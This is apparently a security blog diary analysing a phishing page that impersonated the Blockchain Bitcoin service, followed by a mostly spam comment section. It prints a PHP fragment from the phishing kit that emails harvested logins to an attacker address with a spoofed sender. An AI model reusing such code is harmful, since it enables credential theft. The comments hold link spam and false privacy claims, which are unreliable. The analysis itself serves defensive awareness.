Phishing Campaigns Follow Trends
Those phishing emails that we receive every day in our mailboxes are often related to key players in different fields:
Internet actors | Google, Yahoo!, Facebook, ... |
Software or manufacturers | Apple, Microsoft, Adobe, ... |
Financial Services | Paypal, BoA, <name your preferred bank>, ... |
Services | DHL, eBay, ... |
But the landscape of online services is ever changing and new actors (and more precisely their customers) become new interesting targets. Yesterday, while hunting, I found for the first time a phishing page trying to lure the Bitcoin operator: BlockChain. Blockchain[1] is a key player in the management of digital assets. The fake[2] page looked like this:
In the mean time, the /block part of the website has been already shut down. Probably via the available webshell that was installed in the server:
Hopefully, the webshell isn't available anymore. But, it was possible to browse the PHP code and to gather more information about the guy behind this phishing page:
$from = "From: b <hacker@forever.org>\n"; $from .= "MIME-Version: 1.0\r\n"; $from .= "Content-Type: text/html; charset=ISO-8859-1\r\n"; if(@$_GET['accedi']=='login'){ mail("carlosromero19871@gmail.com", $subj, $msg1, $from); header( "Location: richiesta_otp.html" ); }else{
Note that the login procedure on BlockChain is extremely strong: 2FA authentication and one-time link is sent via email to approve all login attempts. Be sure that activate them if you're a BlockChain customer.
The fact that Bitcoins, the digital currency, is getting more and more popular makes it a new interesting target for attackers. And this is also the case in corporate environments: There is a trend in companies that make a reserve of Bitcoins to prevent possible Ransomware attacks![3]
[1] https://www.blockchain.com
[2] http://klimatika.com.ua/block/
[3] https://www.technologyreview.com/s/601643/companies-are-stockpiling-bitcoin-to-pay-off-cybercriminals/
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
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<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
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Anonymous
Dec 26th 2022
8 months ago
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Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago